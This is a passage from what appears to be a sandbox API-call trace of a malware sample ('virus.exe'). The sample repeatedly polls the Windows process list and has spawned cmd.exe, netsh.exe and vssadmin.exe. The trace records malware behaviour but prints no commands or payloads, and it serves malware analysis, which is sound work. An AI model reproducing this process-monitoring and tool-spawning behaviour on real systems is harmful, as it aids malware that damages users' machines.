(in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0215.444] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.444] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0215.445] CloseHandle (hObject=0x168) returned 1 [0215.445] Sleep (dwMilliseconds=0x1f4) [0215.944] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x168 [0215.946] Process32FirstW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0215.947] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0215.947] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0215.947] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0215.948] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0215.948] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0215.948] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0215.949] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0215.949] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0215.950] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0215.950] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.950] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.951] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.951] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.951] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.952] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0215.952] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.952] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.953] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0215.953] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0215.954] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0215.954] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0215.954] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.955] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0215.955] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0215.955] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0215.956] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0215.956] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0215.956] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0215.957] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0215.957] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0215.957] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0215.958] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0215.959] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.959] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0215.959] CloseHandle (hObject=0x168) returned 1 [0215.959] Sleep (dwMilliseconds=0x1f4) [0216.506] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x168 [0216.508] Process32FirstW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0216.509] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0216.509] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0216.510] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0216.510] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0216.510] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0216.511] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0216.511] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0216.511] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0216.512] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0216.512] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.513] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.513] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.513] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.514] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.514] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0216.514] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.515] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.515] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0216.515] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0216.516] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0216.516] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0216.516] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.517] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0216.517] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0216.517] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0216.518] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0216.518] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0216.518] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0216.519] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0216.519] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0216.520] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0216.520] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0216.520] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.521] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0216.521] CloseHandle (hObject=0x168) returned 1 [0216.521] Sleep (dwMilliseconds=0x1f4) [0217.022] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x168 [0217.024] Process32FirstW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0217.025] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0217.025] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0217.025] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0217.026] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0217.026] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0217.026] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0217.027] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0217.027] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0217.027] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: 